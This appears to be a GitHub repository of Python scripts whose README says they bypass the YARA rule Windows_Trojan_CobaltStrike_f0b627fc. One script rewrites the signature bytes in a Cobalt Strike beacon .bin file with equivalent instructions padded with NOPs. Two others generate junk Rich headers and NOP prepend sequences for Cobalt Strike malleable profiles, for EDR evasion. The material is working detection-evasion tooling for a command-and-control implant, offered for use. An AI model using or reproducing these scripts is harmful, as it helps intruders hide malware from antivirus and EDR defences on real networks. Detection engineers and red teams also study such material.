├── generate_rich_header.py
├── generate_prepend_headers.py
├── README.md
├── random_replace_bytes.py
└── LICENSE
/generate_rich_header.py:
--------------------------------------------------------------------------------
1 | import random
2 | def generate_junk_assembly(length):
3 | return ''.join([chr(random.randint(0, 255)) for _ in range(length)])
4 |
5 | def generate_rich_header(length):
6 | rich_header = generate_junk_assembly(length)
7 | rich_header_hex = ''.join([f"\\x{ord(c):02x}" for c in rich_header])
8 | return rich_header_hex
9 |
10 | #generate a number of assembly opcodes (4-byte aligned)
11 | rich_header = generate_rich_header(random.randint(5,20) * 4)
12 | print("stage {\n\n\tset rich_header \"" + rich_header + "\";\n\n}")
13 |
--------------------------------------------------------------------------------
/generate_prepend_headers.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | # Define the byte strings to shuffle
4 | byte_strings = ["40", "41", "42", "6690", "40", "43", "44", "45", "46", "47", "48", "49", "4c", "90", "0f1f00", "660f1f0400", "0f1f0400", "0f1f00", "0f1f00", "87db", "87c9", "87d2", "6687db", "6687c9", "6687d2"]
5 |
6 | # Shuffle the byte strings
7 | random.shuffle(byte_strings)
8 |
9 | # Create a new list to store the formatted bytes
10 | formatted_bytes = []
11 |
12 | # Loop through each byte string in the shuffled list
13 | for byte_string in byte_strings:
14 | # Check if the byte string has more than 2 characters
15 | if len(byte_string) > 2:
16 | # Split the byte string into chunks of two characters
17 | byte_list = [byte_string[i:i+2] for i in range(0, len(byte_string), 2)]
18 | # Add \x prefix to each byte and join them
19 | formatted_bytes.append(''.join([f'\\x{byte}' for byte in byte_list]))
20 | else:
21 | # Add \x prefix to the single byte
22 | formatted_bytes.append(f'\\x{byte_string}')
23 |
24 | # Join the formatted bytes into a single string
25 | formatted_string = ''.join(formatted_bytes)
26 |
27 | # Print the formatted byte string
28 | print("stage {")
29 | print("\ttransform-x64 {\n\t\t#other flags here")
30 | print( "\t\tprepend \""+ formatted_string + "\";\n\t}")
31 | print("}")
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## How to bypass the YARA rule Windows_Trojan_CobaltStrike_f0b627fc.
2 | The [blog post](https://andrecrafts.com/posts/bypass-yara-rule-cobaltstrike/) teaches how to bypass the YARA rule Windows_Trojan_CobaltStrike_f0b627fc.
3 |
4 | #### [random_replace_bytes.py](https://github.com/andrecrafts/CobaltStrike-YARA-Bypass-f0b627fc/blob/main/random_replace_bytes.py) - Made by me
5 | -> Generates alternative shellcode sequences with NOPs bytes to replace signature bytes in Cobalt Strike's .bin file, bypassing the YARA rule Windows_Trojan_CobaltStrike_f0b627fc.
6 |
7 | 
8 |
9 | #### [generate_rich_header.py](https://github.com/andrecrafts/CobaltStrike-YARA-Bypass-f0b627fc/blob/main/generate_rich_header.py) - Made by [White Knight Labs](https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/) with minor improvements by me
10 | -> Generates Rich header with junk assembly code.
11 |
12 | 
13 |
14 | #### [generate_prepend_headers.py](https://github.com/andrecrafts/CobaltStrike-YARA-Bypass-f0b627fc/blob/main/generate_prepend_headers.py) - Made by [White Knight Labs](https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/) with minor improvements by me
15 | -> Generates prepend headers with random NOP assembly code.
16 |
17 | 
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/random_replace_bytes.py:
--------------------------------------------------------------------------------
1 | # Made by WafflesExploits
2 | # Generate alternatives to EAX to 0x00FFFFFF
3 | import random
4 | from sys import argv
5 |
6 | # Check for correct number of arguments
7 | if len(argv) < 3:
8 | print("./Replace_bytes.py ")
9 | exit()
10 |
11 | file_path = argv[1]
12 | output_path = argv[2]
13 |
14 | # Desired byte length for replacement
15 | DESIRED_LENGTH = 10
16 |
17 | # List of safe padding instructions (bytes) without null bytes
18 | padding_instructions = [
19 | b'\x90', # NOP (1 byte)
20 | b'\x87\xC0' # NOP (2 bytes) xchg eax,eax
21 | ]
22 | # List of alternative byte sequences to set EAX to 0x00414141
23 | alternatives = [
24 | # Alternative 1: MOV EAX, 0x00414141 (SET EAX TO 0X00414141)
25 | [b'\xB8\x41\x41\x41\x00'],
26 |
27 | # Alternative 2: XOR EAX,EAX (SET EAX TO 0); MOV EAX, 0X00414141
28 | [b'\x31\xC0',b'\xB8\x41\x41\x41\x00']
29 | ]
30 |
31 | def distribute_padding(padding_bytes_needed, positions):
32 | """
33 | Distributes padding bytes randomly across the available positions.
34 |
35 | :param padding_bytes_needed: Total number of padding bytes to distribute.
36 | :param positions: List of positions where padding can be inserted.
37 | :return: Dictionary with position as key and list of padding instructions as value.
38 | """
39 | padding_distribution = {pos: [] for pos in positions}
40 |
41 | while padding_bytes_needed > 0:
42 | pos = random.choice(positions)
43 | instr = random.choice(padding_instructions)
44 | instr_length = len(instr)
45 | if instr_length <= padding_bytes_needed:
46 | padding_distribution[pos].append(instr)
47 | padding_bytes_needed -= instr_length
48 |
49 | return padding_distribution
50 |
51 | def insert_padding(instruction_list, desired_length=DESIRED_LENGTH):
52 | """
53 | Inserts padding instructions randomly into the instruction list to reach the desired byte length.
54 |
55 | :param instruction_list: List of instruction byte sequences.
56 | :param desired_length: The total desired byte length after insertion.
57 | :return: Byte sequence with padding instructions inserted.
58 | """
59 | # Calculate the total byte length of the instructions
60 | total_instr_length = sum(len(instr) for instr in instruction_list)
61 |
62 | # Calculate the number of padding bytes needed
63 | padding_bytes_needed = desired_length - total_instr_length
64 |
65 | if padding_bytes_needed < 0:
66 | raise ValueError(f"Instruction list exceeds desired length of {desired_length} bytes.")
67 |
68 | # Positions where padding can be inserted: start, between instructions, end
69 | positions = ['start'] + [i for i in range(len(instruction_list))] + ['end']
70 |
71 | # Distribute padding bytes randomly among the positions
72 | padding_distribution = distribute_padding(padding_bytes_needed, positions)
73 |
74 | final_bytes = b''
75 |
76 | # Add padding at the start
77 | for pad in padding_distribution.get('start', []):
78 | final_bytes += pad
79 |
80 | for i, instr in enumerate(instruction_list):
81 | # Add the instruction
82 | final_bytes += instr
83 |
84 | # Add padding after the instruction
85 | for pad in padding_distribution.get(i, []):
86 | final_bytes += pad
87 |
88 | # Add padding at the end
89 | for pad in padding_distribution.get('end', []):
90 | final_bytes += pad
91 |
92 | return final_bytes
93 |
94 | def replace_bytes(input_filename, output_filename, replacement_bytes):
95 | """
96 | Replaces a specific byte sequence in the input file with the replacement bytes.
97 |
98 | :param input_filename: Path to the input binary file.
99 | :param output_filename: Path to save the modified binary file.
100 | :param replacement_bytes: Byte sequence to replace the search pattern with.
101 | """
102 | # Search pattern to replace (10 bytes)
103 | search_bytes = b"\x25\xff\xff\xff\x00\x3d\x41\x41\x41\x00"
104 |
105 | with open(input_filename, "rb") as input_file:
106 | content = input_file.read()
107 |
108 | if search_bytes not in content:
109 | print("Search pattern not found in input file.")
110 | exit()
111 |
112 | # Ensure replacement_bytes is exactly DESIRED_LENGTH bytes
113 | if len(replacement_bytes) != DESIRED_LENGTH:
114 | print(f"Replacement bytes length ({len(replacement_bytes)}) does not match desired length ({DESIRED_LENGTH}).")
115 | exit()
116 |
117 | # Perform the replacement
118 | modified_content = content.replace(search_bytes, replacement_bytes)
119 |
120 | with open(output_filename, "wb") as output_file:
121 | output_file.write(modified_content)
122 |
123 | print(f"Modified content saved to {output_filename}.")
124 |
125 | def main():
126 | # Select a random alternative
127 | selected_alternative = random.choice(alternatives)
128 | selected_index = alternatives.index(selected_alternative) + 1
129 | print(f"Selected Alternative: {selected_index}")
130 |
131 | # Insert padding instructions
132 | try:
133 | final_sequence = insert_padding(selected_alternative)
134 | except ValueError as ve:
135 | print(f"Error: {ve}")
136 | exit()
137 |
138 | # Print the byte sequence in hexadecimal format
139 | hex_sequence = ''.join(['\\x{:02X}'.format(b) for b in final_sequence])
140 | print(f"Final Byte Sequence with Padding Instructions:\n\"{hex_sequence}\"")
141 |
142 | # Replace Bytes
143 | replace_bytes(file_path, output_path, final_sequence)
144 |
145 | if __name__ == "__main__":
146 | main()
147 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------